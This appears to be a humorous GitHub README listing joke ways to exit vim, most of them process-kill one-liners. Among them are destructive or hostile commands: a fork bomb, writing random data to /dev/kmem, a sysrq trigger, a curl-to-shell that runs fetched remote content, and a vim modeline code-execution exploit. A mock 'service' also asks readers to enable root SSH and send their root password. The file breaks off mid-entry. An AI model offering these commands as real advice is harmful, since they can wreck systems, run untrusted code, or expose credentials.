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https://github.com/hakluke/how-to-exit-vim

Below are some simple methods for exiting vim.
https://github.com/hakluke/how-to-exit-vim

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Below are some simple methods for exiting vim.

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# How to exit vim

Below are some simple methods for exiting vim.



For real vim (and hacking) tips, follow [hakluke](https://twitter.com/hakluke) and [tomnomnom](https://twitter.com/tomnomnom) on twitter.



## The simple way

Credit: @tomnomnom



```vim

:!ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9

```

### Video tutorial:

[![tomnomnom](http://img.youtube.com/vi/xteTjU8GNMc/0.jpg)](http://www.youtube.com/watch?v=xteTjU8GNMc "tomnomnom")



## The ps-less way

Credit: @tomnomnom



```vim

:!kill -9 $(find /proc -name "cmdline" 2>/dev/null | while read procfile; do if grep -Pa '^vim\x00' "$procfile" &>/dev/null; then echo $procfile; fi; done | awk -F'/' '{print $3}' | sort -u)

```



## The ps-less way using status files

Credit: @hakluke



```vim

:!find /proc -name status | while read file; do echo "$file: "; cat $file | grep vim; done | grep -B1 vim | grep -v Name | while read line; do sed 's/^\/proc\///g' | sed 's/\/.*//g'; done | xargs kill -9

```



## The ps-less process tree way

Credit: @kpumuk



```vim

:!grep -P "PPid:\t(\d+)" /proc/$$/status | cut -f2 | xargs kill -9

```



## The first contact way

Credit: @caseyjohnellis

![Jeffrey Way](assets/first-contact-way.png)



## The lazy pythonic using shell way

Credit: @PozziSan



```bash

python -c "from os import system; system('killall -9 vim')"

````



## The pythonic way

Credit: @hakluke



```python

:py3 import os,signal;from subprocess import check_output;os.kill(int(check_output(["pidof","vim"]).decode

('utf-8')),signal.SIGTERM)

```



## The pure perl way

```perl

:!perl -e 'while(){open($f, "$_/cmdline"); kill 9, substr($_,6) if <$f> =~ m|^vim\x00| }'  

```



## The Rustacean's way

Credit: @wodny



1. Reimplement vim in Rust.

2. Call the project `rim`.

3. Run `rim`.

4. Exit `rim` using a borrowed command, ie. `:q!`.



## The lazy rubist using shell way

Credit: @rynaro



```bash

$ ruby -e 'system("killall -9 vim")'

```



## The rubist way

Credit: @rynaro



```bash

$ ruby -e 'pid = `pidof vim`; Process.kill(9, pid.to_i)'

```



## The Colon-less way

Credit: @w181496



In insert mode:

```vim

=system("ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9")

```



## The remote way

Credit: @eur0pa



In `vi`:

```vim

:%!( key="kill-vi-$RANDOM"; nc -l 8888 | if grep $key; then pgrep '^vi$' | xargs kill; fi; ) &

```



Remotely:

```bash

$ while true; do curl http://vi-host:8888/kill-vi-$RANDOM; done

```

`vi` will eventually exit



Locally (the cheaty, lazy way, why even bother):

```bash

$ curl "http://localhost:8888/$(ps aux | grep -E -o 'kill-vi-[0-9]+')"

```



## The hardware way

Credit: @Jorengarenar



_**Pull the plug out**_



## The hardware expert way

Use VIMKiller! The most practical physical solution to all your VIM troubles. It only costs 500,000 USD!



[VIMKiller git](https://github.com/caseykneale/VIMKiller)



## The timeout way



Credit: @aarongorka



Before running vim, make sure to set a timeout:

```bash

$ timeout 600 vim

```

Never forget to set a timeout again:

```bash

$ alias vim='timeout 600 vim'

```

Make sure to save regularly.



## The Russian Roulette timeout way



When you want to spice things up a bit:

```bash

$ timeout $RANDOM vim

```



## The Shoot First, Ask Questions Later way

Credit: @aliva

 

```bash

$ ps axuw | awk '{print $2}' | grep -v PID | shuf -n 1 | sudo kill -9

```



## The "all against the odds" Russian Roulette way

Credit: @cfrost



When you want to spice things up a bit more:

```vim

:!ps axuw | sort -R | head -1 | awk '{print $2}' | xargs kill -9

```



## The physics way

Credit: @eyemyth



Accumulate a sufficient amount of entropy.



## The reboot way

Credit: @tctovsli

In `vi`:

```vim

:!sudo reboot

```



## The using vim against itself way (executing the buffer)

Open Vim to empty buffer and type:

```vim

i:qa!Y:@"

```



## The AppleScript way

Credit: @dbalatero

In Mac terminal `vi`:



Replace "iTerm" with your terminal application of choice:



```applescript

:let script="activate application \"iTerm\"\ntell application \"System Events\"\n  keystroke \":\"\n  keystroke \"q\"\n  keystroke \"a\"\n  keystroke \"!\"\n  key code 36\nend tell" | call writefile(split(script, "\n", 1), '/tmp/exit-vim.scpt', 'b') | !osascript /tmp/exit-vim.scpt

```



## The Mac Activity Monitor way

Credit: @dbalatero



```applescript

let script="activate application \"Activity Monitor\"\ntell application \"System Events\"\n\tkeystroke \"f\" using {option down, command down}\n\tkeystroke \"vim\"\n\n\ttell process \"Activity Monitor\"\n\t\ttell outline 1 of scroll area 1 of window 1\n\t\t\tselect row 1\n\n\t\t\tkeystroke \"q\" using {option down, command down}\n\t\t\tkey code 36\n\t\tend tell\n\tend tell\nend tell\n" | call writefile(split(script, "\n", 1), '/tmp/exit-vim.scpt', 'b') | !osascript /tmp/exit-vim.scpt

```



## The MacBook Pro Touch Bar way

Credit: @IA_Baby46



Touch `quit vim` text in your touch bar



## The Mac Terminal way



Press ⌘+q > Click `Terminate`



## The Passive Way



_**Walk away.**_



## The Passive-Aggressive Way



```bash

!bash -c "💣(){ 💣|💣& };💣"

```



*...then walk away.* (n.b. That's a [fork bomb](https://en.wikipedia.org/wiki/Fork_bomb#Bash), please don't try at home.)



## The Microsoft Way

Credit: @cheezmeister



```cmd

!powershell.exe /c "get-process gvim | stop-process"

```



## The C way

Credit: @dbalatero



```c

:let script=['#define _POSIX_SOURCE', '#include ', '', "int main() {", "  kill(" . getpid() . ", SIGKILL);", '  return 0;', '}'] | call writefile(script, '/tmp/exit_vim.c', 'b') | execute "!gcc /tmp/exit_vim.c -o /tmp/exit_vim" | execute "! /tmp/exit_vim"

```



## The Emacs way

Credit: @dbalatero



```vim

:let command='emacs --batch --eval=''(shell-command "kill -9 ' . getpid() . '")'' --kill' | execute "!" . command

```



## The Vim way

Credit: @david50407



```vim

:let command='vim ''+\\!kill -9 ' . getpid() . ''' +qall -es' | execute "!" . command

```



## The Client-Server way

Credit: @tartansandal



If `+clientserver` is enabled -- typically the case for the GUI -- you can simply



```vim

:!gvim --remote-send ':q\!'

```



## The Yolo Way

Credit: @ryanc



Don't run this, it could break your computer.



```bash

:!echo b | sudo tee -a /proc/sysrq-trigger

```



## The layered Method 

Credit: @mashuptwice

```vim

:!python -c "import os ; os.system(\"ssh localhost kill -9 $(pgrep vim >tmpfile && grep -P '\d+' tmpfile | sed 's/\(.*\)/\1/g' | cat && rm tmpfile) \")"

```

Bonus: still stuck if multiple vim instances are running



## The epileptic Method

Credit: @mashuptwice

```vim

:!timeout 10 yes "Preparing to exit vim. It might seem that this takes an unreasonable ammount of time and processing power, but instead of complaining you could just enjoy the show\!" | lolcat ; pgrep vim | xargs kill -9

```

May the magnificent colors help you to forget the emotional damage caused by exiting vim!



## The Abstinence Method

Credit: @ryanc



```bash

$ alias vim=/bin/true

```



## The Passive-Aggressive Abstinence Method

Credit: @donkoch



```bash

$ alias vim=/bin/false

```



## The shortest way

Credit: @MasterDevX



```vim

:!x=$(echo "c"); x=$x$(echo "G"); x=$x$(echo "t"); x=$x$(echo "p"); x=$x$(echo "b"); x=$x$(echo "G"); x=$x$(echo "w"); x=$x$(echo "g"); x=$x$(echo "L"); x=$x$(echo "V"); x=$x$(echo "N"); x=$x$(echo "U"); x=$x$(echo "T"); x=$x$(echo "1"); x=$x$(echo "A"); x=$x$(echo "g"); x=$x$(echo "d"); x=$x$(echo "m"); x=$x$(echo "l"); x=$x$(echo "t"); x=$x$(echo "C"); x=$x$(echo "g"); x=$x$(echo "="); x=$x$(echo "="); $(echo $x | base64 --decode)

```



## The suspend way

Credit: @theBenRaskin



```bash

^Z ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9

```



## The Minimal, Open-Source way

Credit: @Jbwasse2



NOTE: ONLY RUN THIS IF YOU REALLY, REALLY TRUST @Jbwasse2 TO RUN CODE ON YOUR COMPUTER

```vim

:silent !git clone https://github.com/Jbwasse2/exit_vim_script.git ^@ source exit_vim_script/exit_vim

```



## The Acceptance Way

Credit: @praveenscience



Just stay in Vim 😊 🤘🏻



## The Webmaster Way

Credit: @dosisod



```php

:!echo "Done\!\");}else {echo(\"Click here to exit vim\");}echo(\"html,body{width:100\%,height:100\%}\#x{font-family:monospace;position:fixed;top:50\%;left:50\%;transform:translate(-50\%,-50\%);background:\#7adaff;border:none;font-size:4em;transition:background 500ms ease-out;border-radius: 500px;color:black;padding:15px;}\#x:hover{background:\#7eff7a;}\");?>">index.php;php -S 0.0.0.0:1234&disown;firefox --new-window 0.0.0.0:1234&disown

```



## The Docker way

Credit: @tartansandal



If you run Vim in a docker container like:



```bash

docker run --name my-vim -v `pwd`:/root thinca/vim

```



then you would normally exit vim by stopping the associated container:



```bash

docker stop my-vim

```



## The Kernel way

Credit: @idoasher



run vim as root and run this when you want to exit:



```c

:!printf "\#include \n\#include \n\#include \n\#include \nMODULE_LICENSE(\"GPL\");int  __init i(void){struct task_struct* p;for_each_process(p){if (strcmp(p->comm, \"vim\") == 0){printk(KERN_ALERT \"found a vim \%\%d\\\n\", p->pid);send_sig(SIGKILL, p, 0);}}return 0;}void e(void){return;}module_init(i);module_exit(e);" > k.c; printf "ifneq (\$(KERNELRELEASE),)\n\tobj-m   := k.o\nelse\n\tKERNELDIR ?= /lib/modules/\$(shell uname -r)/build\n\tPWD       := \$(shell pwd)\nmodules:\n\techo \$(MAKE) -C \$(KERNELDIR) M=\$(PWD) LDDINC=\$(PWD)/../include modules\n\t\$(MAKE) -C \$(KERNELDIR) M=\$(PWD) LDDINC=\$(PWD)/../include modules\nendif\n\nclean:  \n\trm -rf *.o *~ core .depend *.mod.o .*.cmd *.ko *.mod.c \\\\\n\t.tmp_versions *.markers *.symvers modules.order\n\ndepend .depend dep:\n\t\$(CC) \$(CFLAGS) -M *.c > .depend\n\nifeq (.depend,\$(wildcard .depend))\n\tinclude .depend\nendif" >Makefile; make; insmod k.ko; rmmod k.ko; make clean; rm k.c Makefile



```



## The even more Extreme Kernel Way

Credit: @penelopezone



**Warning, this may break your entire computer**



```vim

:!sudo dd if=/dev/urandom of=/dev/kmem

```



## The Android way

Credit: @deletescape



Close the Termux app.



## The extreme Android way

Credit: @deletescape



Run vim inside Termux and run this when you want to exit:



```bash

:!su -c killall zygote

```



## The JavaScript way



```js

const ps = require('ps-node');



ps.lookup({ command: 'vim' }, function(error, resultList) {

  resultList.forEach(function(process) {

    if (process) {

      ps.kill(process.pid);

    }

  });

});

```



## The Kubernetes way

Credit: @Evalle



If you run Vim in Kubernetes pod like:



```bash

kubectl run --generator=run-pod/v1 my-vim  --image=thinca/vim

```



then you would normally exit Vim by deleting the associated Kubernetes pod:



```bash

kubectl delete po my-vim

```



## The Vim inside of Vim inside of Vim inside of Vim... inside of Vim way

Credit: @maxattax97



```bash

:while 1 | execute "terminal vim" | call feedkeys("i:terminal vim\") | endwhile

```



## Let "automatic garbage collector" do it for you

Credit: @artem-nefedov



Much like your favorite programming language, your OS has built-in garbage collector.

It will close stuff for you, so you don't have to.



```bash

^Z

$ disown

```



Now it's not your problem anymore.

Process will close automatically upon next reboot/shutdown.



## The Product Manager way

Credit: @mqchen



1. Create new Jira issue.

2. Set priority to A - Critical.

3. Assign to random team member.



## The Experienced Product Manager way

Credit: @mqchen



1. Create new Jira issue.

2. Set priority to A - Critical, Epic link and Components.

3. Write Given-When-Then acceptance criteria.

4. Schedule estimation workshop meeting.

5. Conduct estimation meeting with Planning Poker cards.

6. Prioritize in next sprint.

7. Assign to random team member.

8. Conduct acceptance test.

9. Review burn down chart together with the team.

10. Schedule retrospective.



## The spiritual way 

  Credit: @Janice-M

1. Take a cleansing bath

2. Weditate

3. Sage your house

4. Place crystals on your laptop

5. Burn your laptop and whole house down

6. Set your slack status to 'away' indefinitely

7. Move to the forest



## The tmux way

Credit: @vcoutasso



Inside a tmux session:



```

Ctrl+B :kill-session

```

alternativelycd



```

Ctrl+B x y

```



Note that ```Ctrl+B``` is the default prefix. For different prefixes, the command must be adjusted accordingly.



## The Mathematician's way



Define yourself outside vim.



## The Intern way

Credit: @johnoct



1. Don't even try to exit on your own

2. Ask Senior right away



## The Mandalorian way



```vim

:let hash=sha256("$$$ this is the way $$$") | exe nr2char(hash[49:51]).hash[-3:-3]."!"

```



## The debugger way

Credit: @serjepatoff



Linux

```

$ gdb `which vim`

(gdb) r 

Ctrl-Z q  y 

```



Mac

```

$ lldb `which vim`

(lldb) r 

Ctrl-C q  

```



## The libcall way

Credit: @k-takata



### Windows

```vim

:call libcallnr('kernel32.dll', 'ExitProcess', 0)



```



## The Vagrant way

Credit: @85danf



To run vim:

```bash

mkdir -p /tmp/vim

cd /tmp/vim

vagrant init --minimal hashicorp/bionic64

vagrant ssh

vim

```

To exit vim, open another shell, then:

```bash

cd /tmp/vim

vagrant halt

```



## The consonant cluster way

Credit: @wchargin



To exit, saving all files, simply incant (in normal mode):



```vim

qqqqqZZ@qq@q

```



## The customer success way

Credit: @85danf



1. Schedule emergency meeting with R&D about 'worrisome trends apparent in recent support tickets metrics'

2. Present ability to exit vim as probable root cause

3. Wait as developers argue and mansplain stuff

4. Schedule follow up meeting for next quarter

5. Not your problem anymore



## The Matrix way

Credit: @85danf



"There is no vim"



## The SEO Manager way

Credit: @mikulabc



```

how to exit vim

vim exit help

vim exit guide

exit him

how exit vim

```



## Linux

```vim

:call libcallnr('libc.so.6', 'exit', 0)

```



## The canonical way

Credit: @ligurio



```vim

:!q

```



## The Scrum manager way



1. Call in a meeting, early in the morning

2. Tell everybody what a good job they are doing.

3. Tell everybody that there is still a lot to do.

4. Tell everybody that "we" can do it.

5. Remind them of the importance of team work.

6. Go through the tickets.

7. Tell the project manager that a ticket for closing Vim is missing.

8. Write a ticket called "As a user I want to exit Vim!" on your own.

8.1. While reminding everybody that this is not the proper process.

9. Discuss new ticket in group.

10. Reword ticket as "As a user I want to be able to open other applications!"

11. Ask who of the team wants to do this.

12. Postpone decision until the next meeting.



## the pure BASH way

Credit @u2mejc



```bash

:!kill -9 $PPID

```



## The Newbie Way

```bash

git commit

```



???

```

^x ^x ^x ^d ^c afawfuhi WHAT IS GOING ON faffae ^x

```



In Google:

```

"what is default text editor for git?" | "How to exit vim"

```



## the SSH way

Credit @u2mejc



```

~.

```



## Quit as a Service (QaaS)



1. Add the following to `/etc/ssh/sshd_config`: `PermitRootLogin yes`, `PasswordAuthentication yes`

2. Start sshd server

3. Open ssh port (default 22) on your firewall(s) and forward the same port on your router.

4. Send me the following info: Your root password; Your IP address/domain and port of sshd server. I recommend you test that it works before sending.

5. I will kill vim for you!



## The astronomer's way

Credit: @idisposable



```python

from secrets import randbits



def heat_death():

    return False

    

def increase_entropy():

    return randbits(64)



while heat_death()==False:

    increase_entropy();



print('The universe is dead, VIM no longer exists');

```



## The Jeffrey Way



![Jeffrey Way](assets/jeffrey.jpeg)



## The Entry Level Software Engineer way

1. Try CTRL+C

2. Ask a senior engineer

3. Have senior engineer direct you to [how-to-exit-vim](https://github.com/hakluke/how-to-exit-vim)



## The [Obligatory] Emacs Way



```

$ echo 'alias vim=emacs' >> ~/.bashrc

$ source ~/.bashrc

```



Note: does not exit a running instance of Vim, but resolves future issues.



## The AWS Way

1. In AWS EC2, select **Launch Instance**.

2. Launch an EC2 instance with a Linux based AMI.

3. ssh into the newly created EC2 instance

```shell

ssh -i  ec2-user@

```

4. Launch vim

```shell

vim

```

5. In the AWS EC2, select the newly created EC2 instance and terminate the instance.



## The Matryoshka Way

Credit: @ccw630



```vim

:!$SHELL

```



## The AWS CLI Way

```

!aws --region `ec2-metadata --availability-zone | sed 's/placement: \(.*\).$/\1/'` ec2 stop-instances --instance-ids `wget -q -O - http://169.254.169.254/latest/meta-data/instance-id`

```



## The Arbitrary Code Execution Way



Based on https://www.exploit-db.com/exploits/46973. Works with Vim < 8.1.1365.



1. Create a file (say `quit.txt`) with the following data:

```bash

echo ':!killall vim||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="' > quit.txt

```

2. Ensure that the modeline option has not been disabled.

```bash

echo "set modeline" >> .vimrc

```

3. Open `quit.txt`.

```vim

:e! quit.txt

```



## The Circuit Breaker Way

Credit:@Tomcat-42



1. Leave your computer

2. Find the nearest electrical circuit breaker panel

3. Switch off and on the main breaker

4. Return to your computer

5. Your computer should no longer be running vim



**Note:** This approach prove itself ineffective against notebooks, desktops on a UPS or remote servers.



## The Ansible Way

Credit: @lpmi-13



run vim.yml playbook with the following contents:



```

---

- hosts: vimbox



  vars:

    required_packages:

    - vim



  tasks:

  - name: install python 2

    raw: test -e /usr/bin/python || (apt -y update && apt install -y python-minimal)



  - name: Update APT package cache

    apt:

      update_cache: yes



  - name: Run apt-get upgrade

    apt: upgrade=safe



  - name: Install required packages

    apt: state=installed pkg={{ item }}

    with_items: "{{ required_packages }}"



  - name: Start Vim in the background.

    shell: "(vim >/dev/null 2>&1 &)"

  

  - name: Quit Vim.

    shell: "(pkill vim)"

```



## The Stack Overflow Way

Credit: @cobaltblu27



*Yeah exiting vim is really frustrating sometimes. You should definately try using Neovim. It's fast, has terminal emulator, and also supports plugin that will help you exit vim.*



## The Go Way



Credit: @youshy



1. Make sure that you have Go installed

2. Write a whole application to find and kill vim



```go

package main



import (

	"bytes"

	"io/ioutil"

	"log"

	"os"

	"path/filepath"

	"strconv"

	"strings"

)



func TerminateVim(path string, info os.FileInfo, err error) error {

	var proc []int

	if strings.Count(path, "/") == 3 {

		if strings.Contains(path, "/status") {

			pid, err := strconv.Atoi(path[6:strings.LastIndex(path, "/")])

			if err != nil {

				return err

			}

			f, err := ioutil.ReadFile(path)

			if err != nil {

				return err

			}

			name := string(f[6:bytes.IndexByte(f, '\n')])

			if name == "vim" {

				log.Printf("pid %v name %v\n", pid, name)

				proc = append(proc, pid)

			}

			for _, p := range proc {

				proc, err := os.FindProcess(p)

				if err != nil {

					return err

				}

				proc.Kill()

			}

			return nil

		}

	}

	return nil

}



func main() {

	err := filepath.Walk("/proc", TerminateVim)

	if err != nil {

		log.Fatalln(err)

	}

	log.Printf("Killed vim\n")

}

```



3. Run with `go run .` or make executable using `go build -o VimKill`



## The github-remote simple what-could-go-wrong way



Credit: @ckuma



```vim

:!((grep -m 1 "^:\!ps axuw" | cut -c3- | sh) <<< $(curl -vsL https://github.com/hakluke/how-to-exit-vim/raw/master/README.md 2>&1))

```

## The zig stage1 way



Credit: @tauoverpi



```zig

echo "pub fn main() !noreturn { unreachable; }" > vimkill.zig; zig build-exe vimkill.zig

```



This eventually [exhausts memory](https://github.com/ziglang/zig/issues/3461) on the machine which gives the OOM killer a chance to kill vim.



## The Flipper Zero / BadUSB / Ducky Script way 



Credit: @0xphk

* set correct keyboard layout in FlipperZero (